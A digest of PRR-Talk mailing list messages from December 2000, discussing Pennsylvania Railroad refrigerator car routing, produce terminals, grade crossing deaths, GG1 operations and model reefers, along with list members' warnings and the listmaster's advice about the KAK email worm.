Pittsburgh, Virginia and Charleston, a PRR subsidiary, and the P&LE.   In

the 3-year period covered 23 persons were killed and 25 severely injured.

Also lots of horses and mules met their end.  The names of everyone killed

or injured are listed.



Don Harper

Texas A&M Marine Lab

5007 Avenue U

Galveston, TX  77551

409/740-4540







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!!NEXT MESSAGE!!
From: "Gregg Mahlkov" <mahlkov@gtcom.net>

Subject: Re: [PRR] PFE question

Date: Tue, 12 Dec 2000 20:11:02 -0500



This is a multi-part message in MIME format.



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	charset="iso-8859-1"

Content-Transfer-Encoding: quoted-printable



Richard and list:



I think we are talking about different eras, by the mid-1960's, when I =

handled the PPT, cars that arrived there were shipped direct, without =

reconsignment, 99  percent of the time. One wholesaler would on occasion =

sell a car to a wholesaler in another city and divert it, if the market =

were so much better in the new destination they could split the profit.  =

Perishable "rollers" died out in a big hurry between 1962 and 1967.  PRR =

handled enough bananas consigned to Terre Haute, IN, in 1962 to make =

everyone in Terre Haute turn yellow, but this traffic was gone by 1965.



Gregg Mahlkov

  ----- Original Message -----=20

  From: SUVCWORR@aol.com=20

  To: mahlkov@gtcom.net ; ColmanG@tce.com ; prr-talk@dsop.com=20

  Sent: Tuesday, December 12, 2000 5:04 PM

  Subject: Re: [PRR] PFE question





  In a message dated 12/11/2000 10:39:16 PM Eastern Standard Time,=20

  mahlkov@gtcom.net writes:=20







    .  Richard Orr intimates that PFE had control over the routing of =

cars. From=20

    a traffic department standpoint this is not true.=20





  Gregg:=20



  Please see Tony Thompson's PFE monograph.  The PFE traffic department=20

  controlled PFE cars from point of loading to point of destination.  In =

fact=20

  many times the load had not been sold when it left California and was =

sold in=20

  route.  This resulted in changing the routing of specific cars while =

they=20

  were rolling across country.  In Pittsburgh and I would think other=20

  locations, the cars were assigned to the PRR who litterally auctioned =

the=20

  produce every morning (if you call 1 - 3 AM morning).  A very small =

portion=20

  of the cars were assigned to specific end users.=20



  Car destinations were also changed in route as the market prices =

fluctuated=20

  on the east coast.  Thus getting the most profit for the producers.=20



  Rich Orr=20



------=_NextPart_000_0032_01C06477.A68FC660

Content-Type: text/html;

	charset="iso-8859-1"

Content-Transfer-Encoding: quoted-printable



<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<HTML><HEAD>

<META http-equiv=3DContent-Type content=3D"text/html; =

charset=3Diso-8859-1">

<META content=3D"MSHTML 5.50.4522.1800" name=3DGENERATOR>

<STYLE></STYLE>

</HEAD>

<BODY bgColor=3D#ffffff>

<DIV><FONT size=3D2>Richard and list:</FONT></DIV>

<DIV><FONT size=3D2></FONT>&nbsp;</DIV>

<DIV><FONT size=3D2>I think we are talking about different eras, by the=20

mid-1960's, when I handled the PPT, cars that arrived there were shipped =

direct,=20

without reconsignment, 99&nbsp; percent of the time. One wholesaler =

would on=20

occasion sell a car to a wholesaler in another city and divert it, if =

the market=20

were so much better in the new destination they could split the =

profit.&nbsp;=20

Perishable "rollers" died out in a big hurry between 1962 and =

1967.&nbsp; PRR=20

handled enough bananas consigned to Terre Haute, IN, in 1962 to make =

everyone in=20

Terre Haute turn yellow, but this traffic was gone by 1965.</FONT></DIV>

<DIV><FONT size=3D2></FONT>&nbsp;</DIV>

<DIV><FONT size=3D2>Gregg Mahlkov</FONT></DIV>

<BLOCKQUOTE=20

style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =

BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">

  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>

  <DIV=20

  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =

black"><B>From:</B>=20

  <A title=3DSUVCWORR@aol.com =

href=3D"mailto:SUVCWORR@aol.com">SUVCWORR@aol.com</A>=20

  </DIV>

  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A =

title=3Dmahlkov@gtcom.net=20

  href=3D"mailto:mahlkov@gtcom.net">mahlkov@gtcom.net</A> ; <A=20

  title=3DColmanG@tce.com =

href=3D"mailto:ColmanG@tce.com">ColmanG@tce.com</A> ; <A=20

  title=3Dprr-talk@dsop.com =

href=3D"mailto:prr-talk@dsop.com">prr-talk@dsop.com</A>=20

  </DIV>

  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Tuesday, December 12, =

2000 5:04=20

  PM</DIV>

  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Re: [PRR] PFE =

question</DIV>

  <DIV><BR></DIV><FONT face=3Darial,helvetica><FONT color=3D#800080 =

size=3D3><B>In a=20

  message dated 12/11/2000 10:39:16 PM Eastern Standard Time, <BR><A=20

  href=3D"mailto:mahlkov@gtcom.net">mahlkov@gtcom.net</A> writes:=20

  <BR><BR></FONT><FONT lang=3D0 face=3DArial color=3D#000000 size=3D2=20

  FAMILY=3D"SANSSERIF"></B><BR>

  <BLOCKQUOTE=20

  style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px =

solid; MARGIN-RIGHT: 0px"=20

  TYPE=3D"CITE">. &nbsp;Richard Orr intimates that PFE had control over =

the=20

    routing of cars. From <BR>a traffic department standpoint this is =

not true.=20

    </FONT><FONT lang=3D0 face=3DArial color=3D#000000 size=3D3=20

  FAMILY=3D"SANSSERIF"></BLOCKQUOTE><BR></FONT><FONT lang=3D0 =

face=3DArial=20

  color=3D#800080 size=3D3 FAMILY=3D"SANSSERIF"><B><BR>Gregg: =

<BR><BR>Please see Tony=20

  Thompson's PFE monograph. &nbsp;The PFE traffic department =

<BR>controlled PFE=20

  cars from point of loading to point of destination. &nbsp;In fact =

<BR>many=20

  times the load had not been sold when it left California and was sold =

in=20

  <BR>route. &nbsp;This resulted in changing the routing of specific =

cars while=20

  they <BR>were rolling across country. &nbsp;In Pittsburgh and I would =

think=20

  other <BR>locations, the cars were assigned to the PRR who litterally=20

  auctioned the <BR>produce every morning (if you call 1 - 3 AM =

morning).=20

  &nbsp;A very small portion <BR>of the cars were assigned to specific =

end=20

  users. <BR><BR>Car destinations were also changed in route as the =

market=20

  prices fluctuated <BR>on the east coast. &nbsp;Thus getting the most =

profit=20

  for the producers. <BR><BR>Rich Orr</B></FONT>=20

</FONT></BLOCKQUOTE></BODY></HTML>



------=_NextPart_000_0032_01C06477.A68FC660--





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!!NEXT MESSAGE!!
From: "Gregg Mahlkov" <mahlkov@gtcom.net>

Subject: Re: [PRR] PFE question

Date: Tue, 12 Dec 2000 20:16:55 -0500



Mike A:



I may be wrong (it's been 40 years), but I seem to recall that the NYC had

some sort or arrangement with NH to deliver cars to Hunt's Point which was

rebuilt at great expense

to tie the Hudson Line in with the NY Connecting.



Gregg Mahlkov



----- Original Message -----

From: "Mike A" <n2icv@home.com>

To: "PRR-Talk" <PRR-Talk@dsop.com>

Sent: Tuesday, December 12, 2000 5:08 PM

Subject: Re: [PRR] PFE question





> "Gregg Mahlkov" <mahlkov@gtcom.net> Wrote

> "Each railroad did have its own =

> perishable terminal in the Big Apple, but it was the NYC, with its =

> direct rail access to the Bronx and Hunt's Point that was the big =

> player, not the Erie."

>

> Not so it was the New Haven RR that had access to Hunt's Point and the

east side of the Bronx via the The New York Connecting RR . By the way is

now Amtrak and CSX .With CSX doing Hunt's Point! And the yard there has been

rebuilt and is also served by CP ,CN , P&W,and the NY&A.

>

>

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!!NEXT MESSAGE!!
From: "Bill Daniels" <billd@gci-net.com>

Subject: Re: [PRR] Virus spreaders

Date: Tue, 12 Dec 2000 19:15:10 -0700



I got this worm a couple of weeks ago from a post on this list (guess who

has since updated his virus dat files?) and I had a HELL of a time removing

it. PLEASE check your machines for this virus (I just got another hit on

this virus from a poster, and fortunately it didn't load. You might not be

so lucky.



Bill Daniels

----- Original Message -----

From: Nick Kulp <caseyj@mail.igateway.com>

To: <PRR-Talk@dsop.com>

Sent: Monday, December 11, 2000 6:56 PM

Subject: [PRR] Virus spreaders





> Listers,

>

> I downloaded messages tonight at 8:35PM EST from this list. One was

> infected with the KAK virus. Fortunately I keep my AV data files updated.

> This virus is spread through the virus vacuum Outlook Express. Please for

> the sake of other members purchase USE, and update,anti-virus software.

> This is the third time this virus has been spread to me through this list.

> The message is easily identified by a text-only emailer like Eudora Lite.

> At the end of the message there appears to be additional "text" that

> includes information with the KAK.hta signature. Please start checking

your

> messages and if you've recieved email around this time frame check your

> start menu directory and do a search for any file with a .hta extension.

> The virus spreads through email. For further info go to this site.

>

> > > The following web page contains simple instructions for removing the

> > > virus.  If you want to let the sender know how to remove the virus,

> direct

> > > them to this page:

> > >

> > > http://www.ismi.net/kak

>

> Regards,

> Nick kulp

>

>

>

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!!NEXT MESSAGE!!
Date: Tue, 12 Dec 2000 21:19:37 EST

From: TGREGMRTN@aol.com

Subject: [PRR] Re: [PM-list] Dec Mainline



Thanks guys,



I really appreciate the comments, good and bad. Al's right I stopped by his place on the way to the airport and spent several hours talking trains and checking out his new home layout.  Nice job Al.  Keep at it.



I have been trying to convince Stuart to do the two odd PA's that were painted in DGLE/Brunswick Green and single stripe since he showed interest in the two Greyhounds.  They were 5757 and 5758 and both would be an added asset to anyone intersted in the PRR.  They were perhaps in the best condition of all the PA's right up until the end.  Stuart, I have the data for you anytime you are ready to tackle the project.  The 5757 was different than all the rest, and I mention the differences in my article.  They were my second choice but alas the 5759 stole my heart every time I saw David Ssweetlands photo of her in Altoona in May 1961. 



I considered myself very lucky when Mr. Sweetland allowed me to use the original slide for my article and I think the 2 page spread in the article certainly does the photo justice.  I really appreciated the help.  Great Guy!



But don't overlook Gerry Siegel's efforts with the Wallingford Station, and I told him even though my article sucked ( #^)Dayna this is what I look like when I am kidding), his carried the magazine... And the job Dayna and Merlin (aka John Arthur ... my nickname for him) did on the casting and the attention to detail cast therein is tremendous.  



BTW I will have my PA/B set at Cocoa Beach, FL this January 12th and 13th, 2001 for the first of a few Prototype Modelers Meet next year.  (I just couldn't pass up and opportunity to plug the event) Dayna and Merlin, Bruce Smith, Jim Six will be there as well as a host of many other modelers and manufactures. Hope to see you all there as I want to share my seminar with all on my shadowing and highlighting techniques in your modeling.  It will cover not only locomotives, rolling stock but also structures and ... roadbed, yep, roadbed.  



I am truly humbled by all the compliment I have received over the PA/B's they were a labor of love.



Hope you enjoy Gerry and Mont's articles 'cause mine sucked ... at least part one...  #^) 



Greg Martin      



========================================================

Al Stump writes...

Then there was the first part of Greg Martin's PA article. If you like PRR or PA's, you'll have to read this. In all honesty though, the printed photos do not do this model justice. Greg stopped by after Naperville and the model was awesome in person. >>

--------------------------------------------------------

Stuart replies...



Al,



You are so right!



For the rest of you that have not had the destinct pleasure of viewing these models in person, all I can say is if you get the chance take it!  They are simply stunning.  When I saw them in Naperville, I was speachless for a good 10 minutes.  Just ask Greg.  I was in awe of the work that I was looking at.  It made me want to run out and buy some P2K PA's, and get started.  And I might still do that.  I have the reoccuring urge to build some Brunswick Green PA's.



Stuart







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!!NEXT MESSAGE!!
Date: Tue, 12 Dec 2000 21:54:01 -0500

From: Harry Liggett <hliggett@ald.net>

Subject: [PRR] PRR telegraphers



       I would like to determine the date and the newspaper in which the 

following was published and also a source where I might find information on 

the PRR employes mentioned.



---Harry Liggett in Akron, OH      hliggett@ald.net



BILDERBACKS  Claim Unique Service Record

With Six Members of  Family Telegraphers



         There are doubtless many interesting  families on the Pennsylvania 

Railroad who have a number of members in .railroad service,  but probably 

none more outstanding than the BILDERBACKS on the Panhandle division .

         A few years ago a retired lampman by the name of Andrew B. 

Bilderback passed to the Great Beyond. but he left to the railroad five 

sons who had seen fit to cast their lot with the same company That 

had  employed their  father.

         Four of   the  sons are still in !he service as telegraph 

operators. The fifth, who also was an operator. later left the service to, 

engage is other business. Of  the four, Joshua works second trick at CO, 

Collier, W. Va.; Gabriel, first, and Harry, second, at WC, Weirton 

Junction. W. Va. Thomas !s the first-trick man at MN. Collier. W. Va., 

and–here is a moat unusual feature-his son. Alvin. in on second trick and 

another son. Frank, on third trick at that same office. & situation which 

probably does not exist at any other office on  the System.

         Harry has a son, Albert, in the service as a fireman. and Ernest, 

a son of Gabriel, unfortunately lost his. life while working as a brakeman 

a few years ago The total cumulative service of all members of this family 

who are, or have been, employes of the Panhandle Division approximates two 

hundred years.

         This family was one of the first  to settle In the vicinity of 

West Virginia, in which they reside, and the family record abounds is 

interesting history.   One of the most famous of Indian fighters along 

Yellow Creek to the early days was a Bilderback. These boys have always 

been active to athletics and have taken a prominent part. in the affairs 

of  the community in which; they reside and are the best of citizens. They 

are also noted on the railroad for their loyalty to service and devotion to 

duty and enjoy the respect and confidence of officers and employes.

[This article was probably printed in the early 1920s]



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!!NEXT MESSAGE!!
From: "Steven Bundick" <sbundick@ezy.net>

Subject: Re: [PRR] Delmarva Track

Date: Tue, 12 Dec 2000 22:29:06 -0500



Jim-



If you find some employee timetables from the mid 50's, they have a list of

all of the distant switch signals including their location (in feet from

milepost) and the switches they protect. I think they worked automatically

and alerted a train crew to an open switch.  It appears that the distant

switch signals were installed after the mainline was downgraded to single

track prior to 1956.  I don't know when their use was discontinued.



By the way, two distant position light signals still stand approaching

Cassett to the north and south of Pocomoke.  They were still lit up into the

70's, but are in pretty bad shape today.



Another interesting fact is that the track between Pocomoke and Seaford was

automatic block well into the 50's.



-Steve



>While looking at 1956 and 1960 track charts of Delmarva, I came across

>some symbols and other things that I don't understand.  The legend says

>what the symbols represent, but I can't "translate" them into real life.

>

>So here goes:

>

>Along the top of the chart between "mileposts" are numbers that

>approximate 5280: is this the actual number of feet of track in each

>"mile'?

>

>Below each station name is a number [Cape Charles 2425, Bayview 130,

>Cheriton 800, etc.] which represents what??

>

>There are symbols for a "distant switch" that looks like two cirlces on

>a stick, one over the other.  What type of signal would this actually

>be, and where would they be controlled from/by, given that most of them

>on Delmarva are NOT near any station or anything else!!

>

>Finally, there are "signal mast" symbols that look like miniature

>semaphores with multiple "arms" drawn on the "stick" mast.  How do you

>figure out what the actual signal looked like.  I have seen the only

>signal still remaining here: a non functioning two head position light

>just south of Parkesly and the Eastern Shore RR museum.

>

>Thanks in advance for any help and assistance.

>

>Jim McDaniel,  lost down here in Delmarva.







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!!NEXT MESSAGE!!
Date: Tue, 12 Dec 2000 23:43:40 -0500

From: "David (Fresh) Freshwater" <dfresh20@erols.com>

Subject: [PRR] RE:  PRR Grade Crossing Casualties



This is not a problem that is only solved through engineering, i.e.,

separating the grades of the highway-rail crossing.  It takes an

Engineering, Enforcement, and Education effort.  There are other

engineering things that can be done at grade crossings besides

separation at grade.  The laws already in existence, requiring yielding

the right of way to trains, can be better enforced.  And one can educate

drivers and others about the dangers at the crossings, and from

trespassing along RR rights-of-way.  If the 3 E's sounds a lot like

Operation Lifesavers program, well, it is.



In 1981, there were 9295 collisions, 728 fatalities and 3292 injuries at

highway rail grade crossings.  For 1999, the numbers were 3489, 402, and

1396.  The numbers have gone down because of a lot of hard work by a lot

of people, many of whom are volunteers.  At the same time, fatalities

from trespassing on RR property went from 466 in 1981 to 479 in 1999.

Statistically significant difference -well we can argue that when we get

done with hanging chads.  But the trend line plotting all the

intervening years is up.  (Wonder why the RR police are doing zero

tolerance stuff?  Check those numbers again.)



By the way, the FRA publishes all kinds of stats on collisions and

incidents.  And you can find all about Operation Lifesaver from their

web site at www.oli.org.



Dave Freshwater

North Potomac, MD

Operation Lifesaver Presenter





>         egatwood@spl.usace.army.mil

>      To:

>         harperd@tamug.tamu.edu, PRR-Talk@dsop.com

>

>

>

>

> Don,  The area through Homestead is crossed (still) by numerous road

> crossings, some of which they tried to alleviate by construction of hi-level

> bridges.  However, the RR is still at grade thru there.  It seems to be

> partly a problem of no right-of-way for the "over" solutions, which they did

> further north, and no "under" option due to its location on a floodplain

> close to groundwater.  Pennsy was so successful with their "over and under"

> treatments most everywhere else they had this problem, that they greatly

> alleviated these problems.  From just north of Homestead all the way south

> though, PRR ran the risk.

>    The stats you gave are horrifying.  Apparently, too, there are some that

> never learn.  I live in LA now, and the "newly constructed" Blue Line

> (commuter train) runs at gradeover much of its length.  I have been on two

> trains involved in at-grade accidents, although thankfully with no

> fatalities, but there are dozens of fatal accidents each year.  It appears

> that the Pennsy learned a lesson that the Metropolitan transit Authority of

> LA has yet to get....

> elden

>

>





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!!NEXT MESSAGE!!
From: "Joe Witcofsky" <cyberkat@bellatlantic.net>

Subject: Re: [PRR] Doubleheaded G's

Date: Tue, 12 Dec 2000 21:32:00 -0500



Bob & List:



Doubleheader (MUed) GG-1s on passenger trains were very common, from

personal observation and from working with GG1s as a fireman, engineer, and

Road Foreman.

Most common, train # 55 (Pennsylvania Limited) NY to PHL (enroute to

Wilmington shop)

# 141(Gulf Coast Spl/Palmland)  NY - Wilm and Wilm - DC (Shops off, Good to

Go ON at Wilmington).

# 108 (Edison and Southern Connections) Wash -  Wilm and Wilm - NY (Similar

to move on #141).

#400 Wash-Wilm and Wilm - Phila (Again shop change out)



Also (more common during PC/Amtrak era) # 48/49 (#40/41) The Broadway Ltd.

(Reliability issue especially winter with steam heat).

Plus many of the mail and express trains, which were operated as passenger

trains by PRR/PC/Amtrak and early Conrail.



Other instances would include Expanded consists at peak holiday travel

periods, and add ahead due to enroute equipment failure.



Those of you seeking photographic proof will have to accept my recollections

as most of the examples I used were night trains, operating when all good

photographers were engaged in other pursuits. <g>.



Joe Witcofsky





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!!NEXT MESSAGE!!
Date: Tue, 12 Dec 2000 22:39:25 -0800

Subject: Re: [PRR] PFE question

From: "Doug and Marianne" <babal@slip.net>



Gize:



I believe this statements about Hunt's Point and the NH/NYC are not correct.

The largest produce market in New York City was the Bronx Terminal Market

and it was located in the western Bronx and was served directly by the New

York Central.  It was located in the shadow of Yankee Stadium.  The New

Haven yard in the east Bronx near the Hunt's Point neighborhood was Oak

Point yard (still in operation).  Oak Point was a classification yard and I

do not believe that it had a produce market associated with it.



Other railroads including the Erie, LV, DL&W, and CNJ also had small yards

along the Harlem River in the southwest Bronx and they may have also

delivered cars to the Bronx Terminal Market via their carfloat operations.



Doug Nelson

Mill Valley, CA

babal@slip.net



----------

>From: Mike A <n2icv@home.com>

>To: PRR-Talk <PRR-Talk@dsop.com>

>Subject: Re: [PRR] PFE question

>Date: Tue, Dec 12, 2000, 2:08 PM

>



> "Gregg Mahlkov" <mahlkov@gtcom.net> Wrote

> "Each railroad did have its own =

> perishable terminal in the Big Apple, but it was the NYC, with its =

> direct rail access to the Bronx and Hunt's Point that was the big =

> player, not the Erie."

>

> Not so it was the New Haven RR that had access to Hunt's Point and the east

> side of the Bronx via the The New York Connecting RR . By the way is now

> Amtrak and CSX .With CSX doing Hunt's Point! And the yard there has been

> rebuilt and is also served by CP ,CN , P&W,and the NY&A.

>

>

> -----------------------------------------------------------------------

> Join our SPF database at http://kc.pennsyrr.com/forms/spf/index.html.

> -----------------------------------------------------------------------

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> "listserv@dsop.com".

> 



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Date: Wed, 13 Dec 2000 06:29:39 -0500

Subject: [PRR] TANGENT: Listmaster's Word On Viruses

From: Jerry Britton <jerry@pennsyrr.com>



Since there have been many (too many) posts over the past few days about

viruses spreading via this list, let me state the following:



1) It is the ultimate responsibility of each and every user to protect their

own system with anti-virus software. If you are on the Internet, you need

protection. The selected software should be "smart" enough to automatically

scan downloaded files as soon as they hit your system, as well as to scan

e-mail as it is received.



2) The listserv is intentionally set up to NOT ALLOW attachments. This

prevents the vast majority of viruses from spreading (I'd guess 90%).



Unfortunately, the Microsoft Windows operating system, in conjunction with

Outlook/Outlook Express, has features which may be compromised. Scripts may

be sent within the body of an e-mail that appear as plain text (though

cryptic to the casual observer) that are interpreted by the mail client as

instructions to be executed immediately upon receipt. There is absolutely no

way I can stop such activity at the listserv level.



CURRENT anti-virus software will protect against this threat. So will doing

things at the client end, such as disabling MIME attachments and turning off

script execution. (I don't know how to do the latter, but I know there is a

setting somewhere.)



Now, back to the trains...

---------------------------------------------------------------------

Jerry Britton, Listmaster





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Date: Wed, 13 Dec 2000 08:27:12 -0500

From: Andy Miller <asmiller@mitre.org>

Subject: [PRR] Re: Virus Alert



Jerry,



Just a heads-up.  I got this from my firewall this morning.



interscan@avsrv2.mitre.org wrote:

> 

> The mail message (file: noname) sent to you by PRR-Talk@dsop.com contains virus VBS_KAKWORM.A. The infected file(s) was deleted by Trend InterScan VirusWall on avsrv2.



-- 

Regards,



Andy Miller

asmiller@mitre.org



===================================================





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From: "Gregg Mahlkov" <mahlkov@gtcom.net>

Subject: Re: [PRR] PFE question

Date: Wed, 13 Dec 2000 08:47:21 -0500



Doug and list:



THANKS! It indeed was the Bronx Terminal Market I was thinking of, not

Hunt's Point.

It's been 40 years.



Gregg Mahlkov



----- Original Message -----

From: "Doug and Marianne" <babal@slip.net>

To: "Mike A" <n2icv@home.com>; "PRR-Talk" <PRR-Talk@dsop.com>

Sent: Wednesday, December 13, 2000 1:39 AM

Subject: Re: [PRR] PFE question





> Gize:

>

> I believe this statements about Hunt's Point and the NH/NYC are not

correct.

> The largest produce market in New York City was the Bronx Terminal Market

> and it was located in the western Bronx and was served directly by the New

> York Central.  It was located in the shadow of Yankee Stadium.  The New

> Haven yard in the east Bronx near the Hunt's Point neighborhood was Oak

> Point yard (still in operation).  Oak Point was a classification yard and

I

> do not believe that it had a produce market associated with it.

>

> Other railroads including the Erie, LV, DL&W, and CNJ also had small yards

> along the Harlem River in the southwest Bronx and they may have also

> delivered cars to the Bronx Terminal Market via their carfloat operations.

>

> Doug Nelson

> Mill Valley, CA

> babal@slip.net

>

> ----------

> >From: Mike A <n2icv@home.com>

> >To: PRR-Talk <PRR-Talk@dsop.com>

> >Subject: Re: [PRR] PFE question

> >Date: Tue, Dec 12, 2000, 2:08 PM

> >

>

> > "Gregg Mahlkov" <mahlkov@gtcom.net> Wrote

> > "Each railroad did have its own =

> > perishable terminal in the Big Apple, but it was the NYC, with its =

> > direct rail access to the Bronx and Hunt's Point that was the big =

> > player, not the Erie."

> >

> > Not so it was the New Haven RR that had access to Hunt's Point and the

east

> > side of the Bronx via the The New York Connecting RR . By the way is now

> > Amtrak and CSX .With CSX doing Hunt's Point! And the yard there has been

> > rebuilt and is also served by CP ,CN , P&W,and the NY&A.

> >

> >

> > -----------------------------------------------------------------------

> > Join our SPF database at http://kc.pennsyrr.com/forms/spf/index.html.

> > -----------------------------------------------------------------------

> > For assistance with the list "PRR-Talk", send the message "help" to

> > "listserv@dsop.com".

> >

>

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Date: Wed, 13 Dec 2000 10:51:36 -0500

Subject: [PRR] REA R-40-23

From: Jerry Britton <jerry@pennsyrr.com>



Can anyone tell me what year the R-40-23 reefers came into service?



InterMountain has a new release in N scale in REA livery. Twelve road

numbers.

---------------------------------------------------------

Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

"Keystone Crossings" - Home of "PRR-Talk"

    http://kc.pennsyrr.com

"Merchandise Service" - Model railroad products

    http://merchandise.pennsyrr.com

Free serving of railroad web sites

    http://www.railfancentral.com





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From: BBReynolds@aol.com

Date: Wed, 13 Dec 2000 11:39:18 EST

Subject: Re: [PRR] PRR telegraphers



>From the tone of the piece, it would appear to have been written by a PRR PR 

person ("in the service", etc.), which would give it equal chance to have 

appeared in an in-house employe(e) sheet as in a local paper looking for 

(free) filler material.  Such stories of multiple family memories are fairly 

common, and I'm trying to fire up the synapses on a picture showing six/seven 

brothers serving as engineers on a single railroad (maybe Reading) which I 

glimpsed within the past few weeks.



Bruce B. Reynolds, Trailing Edge Technologies, Glenside PA



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Subject: [PRR] Crosby article in KEYSTONE

Date: Wed, 13 Dec 2000 10:52:02 -0600 (CST)

From: george.pierson@trnty.edu



Hi, all,



I was delighted to see the re-print in the latest KEYSTONE of John Crosby's 

great piece on his last trip on a T1.  Anything over 100 mph in steam is rare 

and wonderful, and to think that (at least once) a T1 was given the chance to do 

what it was designed to do is a treat.  While I'm not a usual fan of re-prints, 

Mr. Blardone chose well.



Which leads me to a suggestion - how about more Crosby pieces?  I think my 

all-time favorite of his came out in TRAINS quite awhile ago - a great account 

of taking the BROADWAY, double-headed behind K4's, from Chicago US to Fort 

Wayne.  For folks like me who werre born too late to have seen PRR steam in 

regular service, it conveys as well as I have ever seen the experience of steam 

in its glory, especially classic PRR steam.  



So what are your favorite PRR articles?  



George Pierson



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From: George.Pierson@trnty.edu

Date: Wed, 13 Dec 2000 10:52:02 -0600 (CST)

Subject: [PRR-FAX] Other = Crosby article in KEYSTONE



Hi, all,



I was delighted to see the re-print in the latest KEYSTONE of John Crosby's 

great piece on his last trip on a T1.  Anything over 100 mph in steam is rare 

and wonderful, and to think that (at least once) a T1 was given the chance to do 

what it was designed to do is a treat.  While I'm not a usual fan of re-prints, 

Mr. Blardone chose well.



Which leads me to a suggestion - how about more Crosby pieces?  I think my 

all-time favorite of his came out in TRAINS quite awhile ago - a great account 

of taking the BROADWAY, double-headed behind K4's, from Chicago US to Fort 

Wayne.  For folks like me who werre born too late to have seen PRR steam in 

regular service, it conveys as well as I have ever seen the experience of steam 

in its glory, especially classic PRR steam.  



So what are your favorite PRR articles?  



George Pierson



***Thx, George !!! Keep inspiring Chuck, as we have begged for Crosby Articles for years !!!! We would also like to see Lloyd Arkinstall (?) PRR Steam material !!! Thx, Bill*-*





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!!NEXT MESSAGE!!
From: Bobspf@aol.com

Date: Wed, 13 Dec 2000 12:49:32 EST

Subject: Re: [PRR] REA R-40-23



In a message dated 12/13/00 10:01:32 AM Central Standard Time, 

jerry@pennsyrr.com writes:



<< Can anyone tell me what year the R-40-23 reefers came into service?

 

 InterMountain has a new release in N scale in REA livery. Twelve road

 numbers. >>



Never say never, but unless you are talking about leased PFE(in PFE livery) 

cars, I don't think they ever had REA color and markings.  I have an HO 

version of the 40 footer in the Pullman (?) green color with Pacific Fruit 

Express and express refrigerator lettering. That scheme was around at least 

from 1954 to 1965, according to Roseman's book on REA, though I don't know 

how close the Intermountain car is to the car used.



Bob Zoeller



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!!NEXT MESSAGE!!
From: "Bill Daniels" <billd@gci-net.com>

Subject: Re: [PRR] REA R-40-23

Date: Wed, 13 Dec 2000 11:14:41 -0700



According to Thompson/Church/Jones's book PFE, the R-40-23 was ordered in

May 1946, and delivered beginning in January, 1947. The REA livery offered

by Intermountain is not correct for this car.



Bill Daniels

----- Original Message -----

From: Jerry Britton <jerry@pennsyrr.com>

To: PRR-Talk LIST <prr-talk@dsop.com>

Sent: Wednesday, December 13, 2000 8:51 AM

Subject: [PRR] REA R-40-23





> Can anyone tell me what year the R-40-23 reefers came into service?

>

> InterMountain has a new release in N scale in REA livery. Twelve road

> numbers.

> ---------------------------------------------------------

> Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

> Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

> "Keystone Crossings" - Home of "PRR-Talk"

>     http://kc.pennsyrr.com

> "Merchandise Service" - Model railroad products

>     http://merchandise.pennsyrr.com

> Free serving of railroad web sites

>     http://www.railfancentral.com

>

>

> -----------------------------------------------------------------------

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> -----------------------------------------------------------------------

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> "listserv@dsop.com".





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!!NEXT MESSAGE!!
Date: Wed, 13 Dec 2000 13:18:23 -0500

Subject: Re: [PRR] REA R-40-23

From: Jerry Britton <jerry@pennsyrr.com>



Thanks for all the responses. Looks like InterMountain has a "fantasy" car

in production!

---------------------------------------------------------

Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

"Keystone Crossings" - Home of "PRR-Talk"

    http://kc.pennsyrr.com

"Merchandise Service" - Model railroad products

    http://merchandise.pennsyrr.com

Free serving of railroad web sites

    http://www.railfancentral.com





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!!NEXT MESSAGE!!
From: "Richard Campbell" <pennsyneil@home.com>

Subject: Re: [PRR] REA R-40-23

Date: Wed, 13 Dec 2000 16:41:37 -0500



Jerry

PFE did paint some of there cars green but they were R-40-10s I think IM is

doing them in HO , if they are can the N scale be far behind



Neil

----- Original Message -----

From: "Jerry Britton" <jerry@pennsyrr.com>

To: "PRR-Talk LIST" <prr-talk@dsop.com>

Sent: Wednesday, December 13, 2000 1:18 PM

Subject: Re: [PRR] REA R-40-23





> Thanks for all the responses. Looks like InterMountain has a "fantasy" car

> in production!

> ---------------------------------------------------------

> Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

> Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

> "Keystone Crossings" - Home of "PRR-Talk"

>     http://kc.pennsyrr.com

> "Merchandise Service" - Model railroad products

>     http://merchandise.pennsyrr.com

> Free serving of railroad web sites

>     http://www.railfancentral.com

>

>

> -----------------------------------------------------------------------

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> -----------------------------------------------------------------------

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> "listserv@dsop.com".

>





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From: "Graeme Nitz" <prr@unite.com.au>

Date: Thu, 14 Dec 2000 08:57:47 +1100

Subject: [PRR-FAX] Re: [PRR] Crosby article in KEYSTONE



George,



I have to agree seeing any steam at 100mph would be amazing but seeing a PRR

Duplex would be mind blowing. This is one of my favourite articles and I

have the original from trains in my archives.



John Crosby certainly has a knack of righting a good story.



Graeme Nitz

PRRT&HS Member #1313

prr@unite.com.au

An Aussie "Slobbering Pennsy Freak"

With a touch of Reading.

,

>

> I was delighted to see the re-print in the latest KEYSTONE of John

Crosby's

> great piece on his last trip on a T1.  Anything over 100 mph in steam is

rare

> and wonderful, and to think that (at least once) a T1 was given the chance

to do

> what it was designed to do is a treat.  While I'm not a usual fan of

re-prints,

> Mr. Blardone chose well.







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!!NEXT MESSAGE!!
From: "Graeme Nitz" <prr@unite.com.au>

Subject: Re: [PRR] Crosby article in KEYSTONE

Date: Thu, 14 Dec 2000 08:57:47 +1100



George,



I have to agree seeing any steam at 100mph would be amazing but seeing a PRR

Duplex would be mind blowing. This is one of my favourite articles and I

have the original from trains in my archives.



John Crosby certainly has a knack of righting a good story.



